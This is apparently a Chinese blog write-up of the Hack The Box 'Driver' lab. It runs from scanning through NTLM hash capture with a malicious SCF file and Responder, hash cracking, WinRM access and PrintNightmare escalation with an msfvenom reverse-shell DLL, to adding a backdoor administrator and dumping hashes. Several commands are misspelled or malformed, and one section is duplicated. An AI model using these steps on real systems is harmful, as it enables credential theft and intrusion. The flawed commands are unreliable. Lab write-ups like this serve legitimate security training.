HTB Driver靶机

连接靶机openvpn

openvpn htb-sg-tcp.ovpn

nmap信息收集

tcp端口扫描

 nmap -sT  --min-rate 10000 -p- ip -oA nmapscan/ports

参数说明:

-sT 指定tcp端口

--min-rate 10000 指定最低10000的 速率扫描全部端口

-p- 指定ip地址

-oA nmapscan/ports 以全格式输出到nmapscan目录 下的ports文件中

为了避免误差和遗漏

进行多次端口扫描,对比结果

同时进行udp端口扫描:

 nmap -sU --top-ports 20 ip -oA nmapscan/udp

参数说明:

-sU 指定扫描udp端口

--top-ports 20 扫描常用20个端口

-oA nmapscan/udp 以全格式输出到nmapscan目录下的udp文件中

扫描结果:所有端口都是open(打开)或者filtered(被过滤)的状态,应该是都没有开放,结果已经保存,暂时先用不到

对扫描到的tcp端口进行详细的信息收集

 nmap -sT -sV -sC -O -p80,135,445,5985 -oA nmapscan/detail

nmap --script=http-brute -p80 ip


135端口:RPC

445端口:SMB共享

SMB/CIFS允许用户在网络中的不同计算机间共享文件、打印机以及其他资源,由于SMB协议的安全性问题,445端口也被认为是一个“高危”端口,因为它曾多次成为网络攻击的目标。例如,臭名昭著的WannaCry勒索软件就利用了SMB的一个未修补的漏洞来传播。因此,许多组织会关闭或严格控制对外的445端口访问,以降低安全风险。

5985端口:winRM(Windows Remote Management网络远程管理)常用端口,只有有凭据才可以进行交互

nmap漏洞脚本扫描

 nmap --sctipt=vuln -p80,135,455,5985 ip -oA nmapscan/vuln

参数说明:

-sV : 探测各个服务的版本

-sC : 默认脚本扫描

-O : 探测操作系统版本

-p80,135,445,5985 : 指定几个端口

攻击面分析

在上面弱密码进入的页面中发现暴露了域信息

如果ip和域名指向的是一个内容,那么是否做host解析作用不大,如果有主机头做了不同的站点路由,那么解析域名你才能访问到不同的站点

这时我们需要解析host词driver.htb

 bash -c 'echo"ip dirver.htb" >> /etc/hosts'

参数说明:

因为追加重定向不能把权限延伸过去,所以用-c整个作为一个命令来执行

再看一下是否追加好了

 tail -n 1 /etc/hosts

结果: ip driver.htb

SMB协议寻找突破点

搜索nxc github,在github上下载并直接移动到/usr/bin/目录下(为了方便)

 mv  /home/kali/Downloads/nxc /usr/bin

nxc需要给权限

 chmod +x /usr/bin/nxc

参数说明:

chmod +x :添加执行execute 权限

执行命令

 nxc smb driver.htb --shares -u RedteamNotes -p ''

参数说明:

--shares : 列出共享

-u : 用户名 随便设置一个

-p : 密码 这里设置为空

结果:空密码匿名不允许访问

 cmbclient -L driver.htb -N

无法访问

尝试134端口的RPC

 cpcclient -U "" -N driver.htb

无法连接

enum4linux-ng (主要是smb的枚举的一个工具)

安装

 apt install enum4linux-ng

执行命令

 enum4linux-ng driver.htb

文件上传

我们需要清楚要做的两件事:

  1. 找到文件上传的目录

  2. 执行我们上传的木马

SMB协议共享SMF文件攻击

内网认证机制

非域环境下,一般是NTLM加密,使用简单的哈希且不含盐,当前NTLMV2使用较多,引入了客户端和服务器的挑战响应,且使用了MD5

内网协议

内网中可以解析域名到ip,但不一定一直有DNS,如果没有DNS的时候,解析就会降级为net b或者LLMN2本地链路多播协议,这两种都是广播协议,而广播就会涉及到一个很重要的攻击方式--嗅探

SMB内网认证机制

responder嗅探

攻击环境为windows时,用Inveigh

通过向请求者发送伪造的NTLM,来获得NTLM响应,这个响应就包含了加密的用户凭据的散列值,然后用responder采集这些数据并离线破解

上传scf文件,这是一种可执行文件,用于协助windows资源管理器执行系统命令。让scf文件构造一个DNS这样的低级协议,让他访问kali的ip\redteamnotes这样一个不存在的主机,就会发生降级,产生广播

SCF 文件是 "Windows 资源管理器命令"文件,它也是一种可执行文件,该类型文件由WindowsExplorer Command 解释。

当一个文件加中含有scf后缀的文件时,由于scf文件包含了 IconFile 属性,所以Explore.exe 会尝试获取文件的图标。而 IconFile 属性是支持 UNC路径的,所以我们也可以通过这里的 IconFile 属性截获受害者的 Net-NTLM Hash

在某一文件夹下写入scf文件,内容如下

[Shell]

Command=2 IconFile=\主机ip\scf\test.ico

[Taskbar]

Command=ToggleDesktop

然后用户访问此文件夹,就可以通过Responder获取Hash

触发产生认证响应的手段:

responder -I tun0 -v    //开启监听

上传scf文件

保存,提取信息

tail digest

grep -o 'tony::.*' digest | tee digeest-only
nth --file digest-only

识别结果

找到加密模块

破解

hashcat -m 5600 digest digest-only /usr/share/wordlists/rockyou.txt --potfile-disable

加一个--potfile-disable,如果进行过相同的破解方式,避免回复同样的结果

也可以用john进行hash破解

我们嗅探时,也可以用impacket实现

impacket -smbserver RedteamNotes . smb2support

参数说明

-smbserver RedteamNotes . : 创立一个smb共享,指定RedteamNotes当前目录

smb2support : 指定2以上smb版本都匹配

同样也是可以用hashcat解密出来的

getshell

nxc  winrm driver.htb -u tony -p liltony
evil-winrm -i driver.htb -u -p liltony

拿到了系统的最高pwn,但不是最高权限

看web文件有没有敏感信息,先定位到目录,利用网页中图片来进行定位

使用winPEAS查看系统的基本信息(github下载)

利用printnightmare漏洞进行提权

用nxc 扫描是否有printnightmare漏洞

看一下有哪些模块可以检测

nxc smb -L  

nxc smb driver.htb -u tony -p liltony -M spooler

-M spooler 指定spooler模块 spooler就是一个处理打印工作的服务

可以去了解一下相关于spooler服务的漏洞

Windows Print Spooler服务最新漏洞CVE-2021-34527详细分析 - FreeBuf网络安全行业门户

检测是否能利用printnightmare

nxc smb driver.htb -u tony -p liltony -M spooler -M printnightmare

可以利用,这里还给出了利用脚本https://github.com/ly4k/PrintNightmare

直接下载下来

wget https://raw.githubsercontent.com/ly4k/PrintNightmare/main/printnightmare.py

看一下文件,给权限

file printnightmare.py
head printnightmare.py
chmod +x printnightmare.py

因为文件头已经有解释器了(python3)所以直接执行文件

./printnightmare.py

check一下是否可以利用

./printnightmare.py -check 'tony:liltony@driver.htb'

因为驱动是通过动态链接库来实现利用的,所以我们要先准备payload,就是用于反弹shell的动态链接库

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=ip LPORT=9595 -f dll -o RedteamNotes.dll

-f dll : 指定文件类型:动态链接库

上传文件,直接上传或者按tab补全,一样的

upload RedteamNotes.dll

现在kali上上一个nc监听

sudo rlwrap nc -lvnp 9595

参数说明

rlwrap : 提高交互性

-lvnp : 指定端口9595,之前我们就是指定的9595

提权成功

./printnightmare.py -dll 'c:\programdata\apps\ReadteamNotes.dll 'tony:liltony@driver.htb'

参数说明

-dll 'c:\xxx\xxx' 用在指定路径下的动态链接库

持久化

还可以加个后门,添加一个管理员用户

net user 用户名 密码 /add

net localgroup administrators 用户名 /add

sudo impacket -secretsdump '密码'@driver.htb   
//转储登陆时各种哈希值

nxc winrm driver.htb -u administrator -H 哈希凭据

遇到的问题

什么是UDP协议

UDP(User Datagram Protocol)协议因其特性,在很多实际应用场景中得到了广泛的使用。以下是UDP协议在不同领域的具体应用:

  1. 实时音频和视频传输
    • 在线游戏、实时视频会议、直播、VoIP(Voice over IP)等应用中,为了减少延迟,通常会选择UDP而不是TCP,因为TCP的重传机制可能会引入额外的延迟。
  2. 域名系统(DNS)
    • DNS查询通常使用UDP,因为DNS请求和响应都是小数据包,且通常只需要一次往返就能完成查询。
  3. 简单文件传输协议(TFTP)
    • TFTP使用UDP来进行文件传输,特别适用于小型系统或嵌入式设备,因为它比FTP更简单、开销更小。
  4. 网络管理系统(SNMP)
    • SNMP(Simple Network Management Protocol)使用UDP端口161和162来监控网络设备的状态,如路由器、交换机和服务器。
  5. 多播和广播通信
    • UDP支持多播和广播,这使得它非常适合用于局域网内的服务发现、组播视频流传输等。
  6. 动态主机配置协议(DHCP)
    • DHCP使用UDP来分配IP地址和其他网络参数给客户端。
  7. 实时传感器数据传输
    • 物联网(IoT)设备和工业自动化系统经常使用UDP来传输实时数据,因为UDP的低延迟特性适合此类应用。
  8. NetBIOS相关服务
    • NetBIOS(Network Basic Input/Output System)相关的服务,如名称解析和网络浏览,使用UDP端口137和138。
  9. BootP和DHCP
    • BootP(Bootstrap Protocol)和DHCP使用UDP端口67/68进行网络设备的初始化和配置。
  10. 其他应用
    • 许多其他网络应用和服务,如NTP(Network Time Protocol)用于时间同步,也使用UDP。

UDP的无连接性和非可靠性特性,使其非常适合那些数据包丢失可以容忍、而延迟和带宽效率至关重要的场景。然而,对于需要数据完整性和顺序的应用,如文件下载和网页传输,TCP通常更为适用。

什么是中间人攻击MITM?

通过向请求者发送伪造的NTLM挑战,来获得NTLM响应,这个响应就包含了加密的用户凭据的散列值,然后用responder采集这些数据并离线破解

遇到的问题

什么是UDP协议

UDP(User Datagram Protocol)协议因其特性,在很多实际应用场景中得到了广泛的使用。以下是UDP协议在不同领域的具体应用:

  1. 实时音频和视频传输

    1. 在线游戏、实时视频会议、直播、VoIP(Voice over IP)等应用中,为了减少延迟,通常会选择UDP而不是TCP,因为TCP的重传机制可能会引入额外的延迟。
  2. 域名系统(DNS)

    1. DNS查询通常使用UDP,因为DNS请求和响应都是小数据包,且通常只需要一次往返就能完成查询。
  3. 简单文件传输协议(TFTP)

    1. TFTP使用UDP来进行文件传输,特别适用于小型系统或嵌入式设备,因为它比FTP更简单、开销更小。
  4. 网络管理系统(SNMP)

    1. SNMP(Simple Network Management Protocol)使用UDP端口161和162来监控网络设备的状态,如路由器、交换机和服务器。
  5. 多播和广播通信

    1. UDP支持多播和广播,这使得它非常适合用于局域网内的服务发现、组播视频流传输等。
  6. 动态主机配置协议(DHCP)

    1. DHCP使用UDP来分配IP地址和其他网络参数给客户端。
  7. 实时传感器数据传输

    1. 物联网(IoT)设备和工业自动化系统经常使用UDP来传输实时数据,因为UDP的低延迟特性适合此类应用。
  8. NetBIOS相关服务

    1. NetBIOS(Network Basic Input/Output System)相关的服务,如名称解析和网络浏览,使用UDP端口137和138。
  9. BootP和DHCP

    1. BootP(Bootstrap Protocol)和DHCP使用UDP端口67/68进行网络设备的初始化和配置。
  10. 其他应用

1.  许多其他网络应用和服务,如NTP(Network Time Protocol)用于时间同步,也使用UDP。

UDP的无连接性和非可靠性特性,使其非常适合那些数据包丢失可以容忍、而延迟和带宽效率至关重要的场景。然而,对于需要数据完整性和顺序的应用,如文件下载和网页传输,TCP通常更为适用。

posted @ 2024-07-30 10:57  Sol_9  阅读(38)  评论(0编辑  收藏  举报